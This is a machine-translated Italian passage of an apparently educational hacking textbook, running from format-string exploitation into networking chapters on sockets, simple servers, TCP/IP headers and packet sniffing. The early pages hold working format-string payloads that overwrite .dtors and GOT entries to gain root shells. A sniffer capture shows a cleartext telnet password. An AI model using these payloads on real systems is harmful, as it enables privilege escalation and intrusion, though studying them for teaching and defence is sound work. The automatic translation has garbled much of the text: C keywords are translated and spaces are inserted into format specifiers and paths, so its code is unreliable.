Pagina 197
(gdb) p 0xbfff - 8
$ 1 = 49143
(gdb) p 0xfd72 - 0xbfff
$ 2 = 15731
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08 \ x94 \ x97 \ x04 \ x08")% 49143x% 4 \
$ hn% 15731x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 15731x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????
b7fe75fc
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
lettore @ hacking: ~ / booksrc $
Sfruttamento 183
Pagina 198
dtors_sample.c
#include <stdio.h>
#include <stdlib.h>
principale() {
printf ("Alcune azioni avvengono nella funzione main () .. \ n");
printf ("e poi quando main () esce, il distruttore viene chiamato .. \ n");
uscita (0);
}
184 0x300
Pagina 199
Sfruttamento 185
Pagina 200
trova. Quindi vengono visualizzati i byte effettivi, al contrario dei DWORD, il che significa
i byte vengono invertiti. Tenendo presente questo, tutto sembra essere corretto.
Sezioni:
Nome Idx Dimensioni VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2 ** 0
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
2 .hash 0000002c 08048148 08048148 00000148 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
3 .dynsym 00000060 08048174 08048174 00000174 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
4 .dynstr 00000051 080481d4 080481d4 000001d4 2 ** 0
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
5 .gnu.version 0000000c 08048226 08048226 00000226 2 ** 1
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
6 .gnu.version_r 00000020 08048234 08048234 00000234 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
7 .rel.dyn 00000008 08048254 08048254 00000254 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
8 .rel.plt 00000020 0804825c 0804825c 0000025c 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
9 .init 00000017 0804827c 0804827c 0000027c 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
10 .plt 00000050 08048294 08048294 00000294 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
11 .testo 000001c0 080482f0 080482f0 000002f0 2 ** 4
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
12 .fini 0000001c 080484b0 080484b0 000004b0 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
13 .rodata 000000bf 080484e0 080484e0 000004e0 2 ** 5
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
14 .eh_frame 00000004 080485a0 080485a0 000005a0 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, DATI
15 .ctors 00000008 080495a4 080495a4 000005a4 2 ** 2
CONTENUTI, ASSEGNAZIONE, CARICO, DATI
186 0x300
Pagina 201
Sfruttamento 187
Pagina 202
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2 # whoami
radice
sh-3.2 #
188 0x300
Pagina 203
reader @ hacking: ~ / booksrc $ ./notetaker AAAA $ (perl -e 'print "% x." x10')
[DEBUG] buffer @ 0x804a008: "AAAA% x.% X.% X.% X.% X.% X.% X.% X.% X.% X."
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
reader @ hacking: ~ / booksrc $ ./notesearch AAAA
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 5 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 35 byte per l'ID utente 999
AAAAbffff750.23.20435455.37303032.0.0.1.41414141.252e7825.78252e78.
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $ ./notetaker BBBB% 8 \ $ x
[DEBUG] buffer @ 0x804a008: "BBBB% 8 $ x"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch BBBB
Sfruttamento 189
Pagina 204
Ora che la disposizione relativa della memoria è nota, lo sfruttamento è solo un file
questione di sovrascrivere la sezione .dtors con l'indirizzo dello shellcode iniettato.
21
------- [dati di fine nota] -------
sh-3.2 # whoami
radice
sh-3.2 #
190 0x300
Pagina 205
Sfruttamento 191
Pagina 206
lettore @ hacking: ~ / booksrc $ objdump -h ./fmt_vuln | grep -A1 "\ .plt \"
10 .plt 00000060 080482b8 080482b8 000002b8 2 ** 2
CONTENUTO, ASSEGNAZIONE, CARICAMENTO, SOLO LETTURA, CODICE
Questi indirizzi esistono in un'altra sezione, chiamata tabella di offset globale (GOT) ,
che è scrivibile. Questi indirizzi possono essere ottenuti direttamente visualizzando il file
voci di riposizionamento dinamico per il binario utilizzando objdump .
192 0x300
Pagina 207
ancora una volta per chiarezza. Nell'output seguente, l'indirizzo dello shellcode ()
viene scritto nell'indirizzo della funzione exit () ().
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x86 \ x97 \ x04 \ x08 \ x84 \ x97 \ x04 \
x08 ")% 49143x% 4 \ $ hn% 14829x% 5 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
????% 49143x% 4 $ hn% 14829x% 5 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
????
b7fe75fc
[*] test_val @ 0x08049794 = -72 0xffffffb8
sh-3.2 # whoami
radice
sh-3.2 #
Sfruttamento 193
Pagina 209
208
0x400 NETWORKING
La comunicazione e il linguaggio sono notevolmente migliorati
le capacità della razza umana. Utilizzando un comune
linguaggio, gli esseri umani sono in grado di trasferire la conoscenza,
coordinare le azioni e condividere le esperienze. Allo stesso modo,
i programmi possono diventare molto più potenti quando ne hanno la capacità
comunicare con altri programmi tramite una rete. La vera utilità di un web
browser non è nel programma stesso, ma nella sua capacità di comunicare con
server web.
Il networking è così diffuso che a volte è dato per scontato. Molti
applicazioni come la posta elettronica, il Web e la messaggistica istantanea si basano su
ing. Ciascuna di queste applicazioni si basa su un particolare protocollo di rete, ma
ogni protocollo utilizza gli stessi metodi di trasporto di rete generali.
Molte persone non si rendono conto che ci sono vulnerabilità nella rete
protocolli stessi. In questo capitolo imparerai come collegare in rete la tua app
cationi utilizzando socket e come affrontare le vulnerabilità di rete comuni.
Pagina 210
Quando i dati vengono comunicati attraverso questi livelli di protocollo, vengono inviati
piccoli pezzi chiamati pacchetti. Ogni pacchetto contiene implementazioni di questi
strati di protocollo. A partire dal livello applicativo, il pacchetto avvolge il pre-
livello di sentation attorno a quei dati, che avvolge il livello di sessione, che avvolge
lo strato di trasporto e così via. Questo processo è chiamato incapsulamento. Ogni
il livello avvolto contiene un'intestazione e un corpo. L'intestazione contiene il pro
tocol informazioni necessarie per quel livello, mentre il corpo contiene i dati per
quello strato. Il corpo di uno strato contiene l'intero pacchetto di precedentemente
strati incapsulati, come la buccia di una cipolla oi contesti funzionali
trovato nello stack di un programma.
196 0x400
Pagina 211
Rete 1 Rete 2
applicazione Internet applicazione
Networking 197
Pagina 212
Tutto questo incapsulamento dei pacchetti costituisce un linguaggio complesso che ospita
su Internet (e altri tipi di reti) utilizzano per comunicare con ciascuno
altro. Questi protocolli sono programmati in router, firewall e file
sistema operativo del computer in modo che possano comunicare. Programmi che utilizzano
networking, come browser web e client di posta elettronica, devono interfacciarsi con
il sistema operativo che gestisce le comunicazioni di rete. Dal momento che il
il sistema operativo si occupa dei dettagli di incapsulamento della rete, scrittura
programmi di rete è solo una questione di utilizzo dell'interfaccia di rete del sistema operativo.
0x420 prese
Un socket è un modo standard per eseguire la comunicazione di rete tramite
OS. Un socket può essere pensato come un endpoint di una connessione, come un socket
su un centralino operatore. Ma questi socket sono solo di un programmatore
astrazione che si prende cura di tutti i dettagli essenziali del modello OSI
descritto sopra. Per il programmatore, un socket può essere utilizzato per inviare o ricevere
dati su una rete. Questi dati vengono trasmessi al livello di sessione (5), sopra
gli strati inferiori (gestiti dal sistema operativo), che si prendono cura di
instradamento. Esistono diversi tipi di socket che determinano l'estensione
struttura dello strato di trasporto (4). I tipi più comuni sono stream
socket e socket datagramma.
I socket di flusso forniscono una comunicazione bidirezionale affidabile simile a quando
chiami qualcuno al telefono. Un lato avvia la connessione a
altro e dopo aver stabilito la connessione, entrambe le parti possono comunicare
all'altro. Inoltre, c'è la conferma immediata di ciò che hai detto
effettivamente raggiunto la sua destinazione. I socket stream utilizzano una comunicazione standard
protocollo chiamato Transmission Control Protocol (TCP), che esiste su
lo strato di trasporto (4) del modello OSI. Sulle reti di computer, i dati sono
di solito trasmessi in blocchi chiamati pacchetti. TCP è progettato in modo che il
i pacchetti di dati arriveranno senza errori e in sequenza, come parole
arrivando dall'altra parte nell'ordine in cui sono stati pronunciati quando sei
parlando al telefono. Server Web, server di posta e rispettivi
tutte le applicazioni client utilizzano TCP e stream socket per comunicare.
Un altro tipo comune di socket è un socket per datagrammi. Comunicare
con un socket datagramma è più come spedire una lettera che fare una telefonata.
La connessione è unidirezionale e inaffidabile. Se spedisci più lettere, tu
non posso essere sicuro che siano arrivati nello stesso ordine, o anche che siano arrivati
la loro destinazione. Il servizio postale è abbastanza affidabile; Internet, come
mai, non lo è. I socket datagram utilizzano un altro protocollo standard chiamato UDP
invece di TCP sul livello di trasporto (4). UDP è l'acronimo di User Datagram
Protocollo, il che implica che può essere utilizzato per creare protocolli personalizzati. Questo
protocollo è molto semplice e leggero, con poche protezioni incorporate. Suo
non una vera connessione, solo un metodo di base per inviare dati da un punto
ad un altro. Con i socket del datagramma, c'è un sovraccarico minimo nel protocollo,
ma il protocollo non fa molto. Se il tuo programma deve confermare che a
il pacchetto è stato ricevuto dall'altra parte, l'altra parte deve essere codificata per l'invio
indietro un pacchetto di riconoscimento. In alcuni casi la perdita di pacchetti è accettabile.
198 0x400
Pagina 213
Networking 199
Pagina 214
Da /usr/include/bits/socket.h
/ * Famiglie di protocollo. * /
#define PF_UNSPEC 0 / * Non specificato. * /
#define PF_LOCAL 1 / * Locale all'host (pipe e dominio file). * /
#define PF_UNIX PF_LOCAL / * Vecchio nome BSD per PF_LOCAL. * /
#define PF_FILE PF_LOCAL / * Un altro nome non standard per PF_LOCAL. * /
#define PF_INET 2 / * Famiglia di protocolli IP. * /
#define PF_AX25 3 / * Radioamatore AX.25. * /
#define PF_IPX 4 / * Novell Internet Protocol. * /
#define PF_APPLETALK 5 / * Appletalk DDP. * /
#define PF_NETROM 6 / * NetROM per radioamatori. * /
#define PF_BRIDGE 7 / * Bridge multiprotocollo. * /
#define PF_ATMPVC 8 / * PVC ATM. * /
#define PF_X25 9 / * Riservato per il progetto X.25. * /
#define PF_INET6 10 / * IP versione 6. * /
...
Da /usr/include/bits/socket.h
/ * Tipi di prese. * /
enum __socket_type
{
SOCK_STREAM = 1, / * Flussi di byte sequenziali, affidabili e basati sulla connessione. * /
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, / * Datagrammi senza connessione e inaffidabili di lunghezza massima fissa. */
#define SOCK_DGRAM SOCK_DGRAM
...
200 0x400
Pagina 215
Da /usr/include/bits/socket.h
Da /usr/include/bits/socket.h
/ * Indirizza le famiglie. * /
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6
...
Networking 201
Pagina 216
Da /usr/include/netinet/in.h
La parte SOCKADDR_COMMON nella parte superiore della struttura è semplicemente quella senza segno
short int menzionato sopra, che viene utilizzato per definire la famiglia di indirizzi. Da
un indirizzo di endpoint socket è costituito da un indirizzo Internet e un numero di porta,
questi sono i prossimi due valori nella struttura. Il numero di porta è a 16 bit
breve, mentre la struttura in_addr usata per l'indirizzo Internet contiene un file
Numero a 32 bit. Il resto della struttura è solo 8 byte di riempimento da riempire
il resto della struttura sockaddr . Questo spazio non viene utilizzato per niente, ma deve
essere salvati in modo che le strutture possano essere modificate in modo intercambiabile. Alla fine, il
le strutture degli indirizzi socket finiscono per assomigliare a questo:
Host-to-Network Long
htonl ( valore lungo )
Converte un numero intero a 32 bit dall'ordine dei byte dell'host all'ordine dei byte di rete
202 0x400
Pagina 217
Network-to-Host Long
ntohl ( valore lungo )
Converte un numero intero a 32 bit dall'ordine dei byte di rete all'ordine dei byte dell'host
Breve rete-host
ntohs ( valore lungo )
Converte un numero intero a 16 bit dall'ordine dei byte di rete all'ordine dei byte dell'host
ASCII in rete
Questa funzione converte una stringa ASCII contenente un indirizzo IP in punti
formato numerico in una struttura in_addr , che, come ricordi, solo
contiene un numero intero a 32 bit che rappresenta l'indirizzo IP nel byte di rete
ordine.
Rete in ASCII
Questa funzione converte nell'altro modo. Viene passato un puntatore a un in_addr
struttura contenente un indirizzo IP e la funzione restituisce un carattere
puntatore a una stringa ASCII contenente l'indirizzo IP in numero puntato
formato. Questa stringa è contenuta in un buffer di memoria allocato staticamente in
funzione, quindi è possibile accedervi fino alla prossima chiamata a inet_ntoa () , quando il file
la stringa verrà sovrascritta.
Networking 203
Pagina 218
Aggiunto a hacking.h
// Esegue il dump della memoria non elaborata in byte esadecimale e formato suddiviso stampabile
void dump (const unsigned char * data_buffer, const unsigned int length) {
byte di caratteri senza segno;
unsigned int i, j;
for (i = 0; i <length; i ++) {
byte = data_buffer [i];
printf ("% 02x", data_buffer [i]); // Visualizza byte in esadecimale.
if (((i% 16) == 15) || (i == length-1)) {
per (j = 0; j <15- (i% 16); j ++)
printf ("");
printf ("|");
for (j = (i- (i% 16)); j <= i; j ++) {// Visualizza i byte stampabili dalla riga.
byte = data_buffer [j];
if ((byte> 31) && (byte <127)) // Fuori dall'intervallo di caratteri stampabili
printf ("% c", byte);
altro
printf (".");
}
printf ("\ n"); // Fine della riga di dump (ogni riga è di 16 byte)
} // Finisci se
} // Fine per
}
Questa funzione viene utilizzata per visualizzare i dati del pacchetto dal programma server.
Tuttavia, poiché è utile anche in altri luoghi, è stato inserito in hacking.h,
anziché. Il resto del programma server verrà spiegato durante la lettura del file
codice sorgente.
simple_server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include "hacking.h"
204 0x400
Pagina 219
if (bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr)) == -1)
fatal ("binding to socket");
Networking 205
Pagina 220
La chiamata listen () dice al socket di ascoltare le connessioni in entrata e
una successiva chiamata accept () accetta effettivamente una connessione in entrata. Il
pone tutte le connessioni in entrata in una coda di backlog fino a quando un
La funzione listen ()
call accetta le connessioni. L'ultimo argomento della chiamata listen ()
accept ()
imposta la dimensione massima per la coda di backlog.
206 0x400
Pagina 221
Quando viene compilato ed eseguito, il programma si collega alla porta 7890 dell'host e
attende le connessioni in entrata:
Un client telnet funziona fondamentalmente come un client di connessione TCP generico, quindi è così
può essere utilizzato per connettersi al server semplice specificando l'indirizzo IP di destinazione
e porto.
Pagina 222
Da / etc / services
HTTP esiste nel livello dell'applicazione, il livello superiore, del modello OSI.
A questo livello, tutti i dettagli di rete sono già stati curati da
i livelli inferiori, quindi HTTP utilizza il testo in chiaro per la sua struttura. Molti altri
i protocolli a livello di applicazione utilizzano anche testo normale, come POP3, SMTP, IMAP,
e il canale di controllo di FTP. Poiché si tratta di protocolli standard, lo sono tutti
ben documentato e facilmente ricercabile. Una volta che conosci la sintassi di questi
vari protocolli, puoi parlare manualmente con altri programmi che parlano il file
stessa lingua. Non è necessario essere fluenti, ma conoscerne alcuni è importante
le frasi ti aiuteranno quando viaggi su server stranieri. Nella lingua di
HTTP, le richieste vengono effettuate utilizzando il comando GET , seguito dalla risorsa
percorso e la versione del protocollo HTTP. Ad esempio, GET / HTTP / 1.0 richiederà
il documento radice dal server web utilizzando HTTP versione 1.0. La richiesta
è in realtà per la directory principale di /, ma la maggior parte dei server web lo farà automaticamente
cerca un documento HTML predefinito nella directory index.html. Se la
il server trova la risorsa, risponderà utilizzando HTTP inviandone diversi
intestazioni prima di inviare il contenuto. Se viene utilizzato il comando HEAD al posto di
GET , restituirà solo le intestazioni HTTP senza il contenuto. Queste intestazioni
sono di testo in chiaro e di solito possono fornire informazioni sul server. Questi
le intestazioni possono essere recuperate manualmente utilizzando telnet collegandosi alla porta 80 di un file
sito web noto, quindi digitare HEAD / HTTP / 1.0 e premere INVIO due volte. Nel
output di seguito, telnet viene utilizzato per aprire una connessione TCP-IP al server Web all'indirizzo
http://www.internic.net. Quindi il livello dell'applicazione HTTP è manualmente
parlato per richiedere le intestazioni per la pagina dell'indice principale.
208 0x400
Pagina 223
Questo rivela che il server web è la versione Apache 2.0.52 e anche quella
l'host esegue CentOS. Questo può essere utile per la profilazione, quindi scriviamo un
grammo che automatizza questo processo manuale.
I prossimi programmi invieranno e riceveranno molti dati. Da
le funzioni socket standard non sono molto amichevoli, scriviamo alcune funzioni
inviare e ricevere dati. Queste funzioni, chiamate send_string () e recv_line () ,
verrà aggiunto a un nuovo file include chiamato hacking-network.h.
La normale funzione send () restituisce il numero di byte scritti, che
non è sempre uguale al numero di byte che hai provato a inviare. Il send_string ()
funzione accetta un socket e un puntatore a stringa come argomenti e si assicura
l'intera stringa viene inviata tramite il socket. Usa strlen () per capire il file
lunghezza totale della stringa passata.
Avrai notato che ogni pacchetto ricevuto dal server semplice terminava
con i byte 0x0D e 0x0A . Questo è il modo in cui telnet termina le linee: invia
un ritorno a capo e un carattere di nuova riga. Si aspetta anche il protocollo HTTP
righe da terminare con questi due byte. Una rapida occhiata a una tabella ASCII
mostra che 0x0D è un ritorno a capo ( '\ r' ) e 0x0A è il carattere di nuova riga
( '\ n' ).
hacking-network.h
Networking 209
Pagina 224
bytes_to_send - = sent_bytes;
buffer + = sent_bytes;
}
ritorno 1; // Restituisce 1 in caso di successo.
}
ptr = dest_buffer;
while (recv (sockfd, ptr, 1, 0) == 1) {// Legge un singolo byte.
if (* ptr == EOL [eol_matched]) {// Questo byte corrisponde al terminatore?
eol_matched ++;
if (eol_matched == EOL_SIZE) {// Se tutti i byte corrispondono al terminatore,
* (ptr + 1-EOL_SIZE) = '\ 0'; // termina la stringa.
return strlen (dest_buffer); // Byte di ritorno ricevuti
}
} altro {
eol_matched = 0;
}
ptr ++; // Incrementa il puntatore al prossimo byter.
}
return 0; // Non sono stati trovati i caratteri di fine riga.
}
210 0x400
Pagina 225
Da /usr/include/netdb.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include <netdb.h>
#include "hacking.h"
if (argc <2) {
printf ("Utilizzo:% s <hostname> \ n", argv [0]);
uscita (1);
}
Questo programma accetta un nome host come unico argomento e stampa il file
Indirizzo IP. La funzione gethostbyname () restituisce un puntatore a una struttura host
ture, che contiene l'indirizzo IP nell'elemento h_addr . Un puntatore a questo elemento
è typecast in un puntatore in_addr , che viene successivamente dereferenziato per la chiamata a
, che si aspetta una struttura in_addr come argomento. Programma di esempio
inet_ntoa ()
l'output è mostrato nella pagina seguente.
Networking 211
Pagina 226
Usare le funzioni socket per costruire su questo, creando un'identificazione del server web
il programma non è così difficile.
webserver_id.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
if (argc <2) {
printf ("Utilizzo:% s <hostname> \ n", argv [0]);
uscita (1);
}
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons (80);
target_addr.sin_addr = * ((struct in_addr *) host_info-> h_addr);
memset (& (target_addr.sin_zero), '\ 0', 8); // Azzera il resto della struttura.
if (connect (sockfd, (struct sockaddr *) & target_addr, sizeof (struct sockaddr)) == -1)
fatale ("connessione al server di destinazione");
212 0x400
Pagina 227
while (recv_line (sockfd, buffer)) {
if (strncasecmp (buffer, "Server:", 7) == 0) {
printf ("Il server web per% s è% s \ n", argv [1], buffer + 8);
uscita (0);
}
}
printf ("Linea server non trovata \ n");
uscita (1);
}
La maggior parte di questo codice dovrebbe avere senso per te ora. La struttura target_addr
L' elemento sin_addr di ture viene riempito utilizzando l'indirizzo dalla struttura host_info
digitando e poi dereferenziando come prima (ma questa volta è fatto in un file
linea singola). La funzione connect () viene chiamata per connettersi alla porta 80 del target
host, viene inviata la stringa di comando e il programma legge in ciclo ogni riga
nel buffer. La funzione strncasecmp () è una funzione di confronto di stringhe di
strings.h. Questa funzione confronta i primi n byte di due stringhe, ignorandoli
capitalizzazione. I primi due argomenti sono puntatori alle stringhe e il terzo
l'argomento è n , il numero di byte da confrontare. La funzione restituirà 0 se
le stringhe corrispondono, quindi l' istruzione if sta cercando la riga che inizia con
. Quando lo trova, rimuove i primi otto byte e stampa il web-
"Server:"
informazioni sulla versione del server. Il seguente elenco mostra la compilazione e
esecuzione del programma.
Networking 213
Pagina 228
tinyweb.c
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys / stat.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include "hacking.h"
#include "hacking-network.h"
if (bind (sockfd, (struct sockaddr *) & host_addr, sizeof (struct sockaddr)) == -1)
fatal ("binding to socket");
Pagina 229
printf ("Ricevuta richiesta da% s:% d \"% s \ "\ n", inet_ntoa (client_addr_ptr-> sin_addr),
ntohs (client_addr_ptr-> sin_port), richiesta);
ptr = strstr (richiesta, "HTTP /"); // Cerca una richiesta dall'aspetto valido.
if (ptr == NULL) {// Allora questo non è un HTTP valido.
printf ("NON HTTP! \ n");
} altro {
* ptr = 0; // Termina il buffer alla fine dell'URL.
ptr = NULL; // Imposta ptr su NULL (utilizzato per segnalare una richiesta non valida).
if (strncmp (request, "GET", 4) == 0) // GET richiesta
ptr = richiesta + 4; // ptr è l'URL.
if (strncmp (request, "HEAD", 5) == 0) // richiesta HEAD
ptr = richiesta + 5; // ptr è l'URL.
Networking 215
Pagina 230
216 0x400
Pagina 231
Networking 217
Pagina 232
218 0x400
Pagina 233
Richiesta ARP
Fonte MAC: 00: 00: 00: aa: aa: aa
Dest MAC: ff: ff: ff: ff: ff: ff
"Chi ha il 10.10.10.50?"
Risposta ARP
Fonte MAC: 00: 00: 00: bb: bb: bb
Dest MAC: 00: 00: 00: aa: aa: aa
"10.10.10.50 è alle 00: 00: 00: bb: bb: bb ."
Networking 219
Pagina 234
Da RFC 791
[Pagina 10]
Settembre 1981
Protocollo Internet
3. SPECIFICHE
0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Versione | IHL | Tipo di servizio | Lunghezza totale |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identificazione | Bandiere | Frammento Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| È ora di vivere | Protocollo | Checksum intestazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di partenza |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Figura 4.
Notare che ogni segno di spunta rappresenta una posizione di bit.
220 0x400
Pagina 235
esistono anche su questo livello. I pacchetti ICMP vengono utilizzati per la messaggistica e la diagnostica.
L'IP è meno affidabile dell'ufficio postale: non è garantito che un pacchetto IP
raggiungerà effettivamente la sua destinazione finale. Se c'è un problema, un pacchetto ICMP
viene rispedito per avvisare il mittente del problema.
ICMP è anche comunemente usato per testare la connettività. Richiesta eco ICMP
e i messaggi Echo Reply vengono utilizzati da un'utilità chiamata ping. Se un host lo desidera
per verificare se può instradare il traffico a un altro host, esegue il ping dell'host remoto tramite
inviando una richiesta di eco ICMP. Al ricevimento della richiesta Echo ICMP, il
l'host remoto restituisce una risposta echo ICMP. Questi messaggi possono essere utilizzati
per determinare la latenza di connessione tra i due host. Tuttavia lo è
importante ricordare che ICMP e IP sono entrambi senza connessione; tutto questo
Il livello di protocollo si preoccupa davvero di portare il pacchetto al suo indirizzo di destinazione.
A volte un collegamento di rete avrà una limitazione sulla dimensione del pacchetto, che non lo consente
il trasferimento di grandi pacchetti. La PI può affrontare questa situazione frammentandosi
pacchetti, come mostrato qui.
Frammenti di pacchetti
Intestazione Dati
Il pacchetto viene suddiviso in frammenti di pacchetto più piccoli che possono passare
attraverso il collegamento di rete, le intestazioni IP vengono inserite in ogni frammento e lo sono
espulso. Ogni frammento ha un valore di offset del frammento diverso, che viene memorizzato
nell'intestazione. Quando la destinazione riceve questi frammenti, l'offset
i valori vengono utilizzati per riassemblare il pacchetto IP originale.
Disposizioni come la frammentazione aiutano nella consegna di pacchetti IP, ma
questo non fa nulla per mantenere le connessioni o garantire la consegna. Questo è il lavoro
dei protocolli a livello di trasporto.
Networking 221
Pagina 236
FIN finire Chiude con grazia una connessione quando entrambe le parti si salutano
Da RFC 793
[Pagina 14]
Settembre 1981
Protocollo di controllo della trasmissione
3. SPECIFICHE FUNZIONALI
222 0x400
Pagina 237
0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Porta di origine | Porto di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequenza di numeri |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numero di riconoscimento |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Dati | |U|A|P|R|S|F| |
| Offset | Riservato | R | C | S | S | Y | I | Finestra |
|| |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Puntatore urgente |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| dati |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Figura 3.
Pacchetto SYN
SYN su ACK disattivato
seq # = 324808530
ack # = 0
Pacchetto ACK
SYN disattivato ACK attivato
seq # = 324808531
ack # = 288666268
Networking 223
Pagina 238
224 0x400
Pagina 239
L'atto di acquisire pacchetti che non sono necessariamente destinati alla visualizzazione pubblica-
ing si chiama sniffing . Sniffing pacchetti in modalità promiscua su un non commutato
la rete può fornire tutti i tipi di informazioni utili, come il seguente output
Spettacoli.
Networking 225
Pagina 240
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..CL ..........
0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 .... 230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in ...
-----------------
12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)
UTENTE root
PASSA 5eCr3t
raw_tcpsniff.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include "hacking.h"
226 0x400
Pagina 241
Questo programma apre un socket TCP grezzo e ascolta tre pacchetti, stampa-
ing i dati grezzi di ciascuno con la funzione dump () . Notare che il buffer è
dichiarato come una variabile u_char . Questa è solo una definizione del tipo di convenienza da
sys / socket.h che si espande in "unsigned char." Questo è per comodità, da allora
le variabili senza segno vengono utilizzate molto nella programmazione e nella digitazione di rete
non firmatoogni volta è un dolore.
Quando viene compilato, il programma deve essere eseguito come root, perché l'uso di
dei socket non elaborati richiede l'accesso come root. L'output seguente mostra il programma
annusando la rete mentre inviamo testo di esempio al nostro simple_server.
Networking 227
Pagina 242
pcap_sniff.c
#include <pcap.h>
#include "hacking.h"
int main () {
intestazione struct pcap_pkthdr;
const u_char * pacchetto;
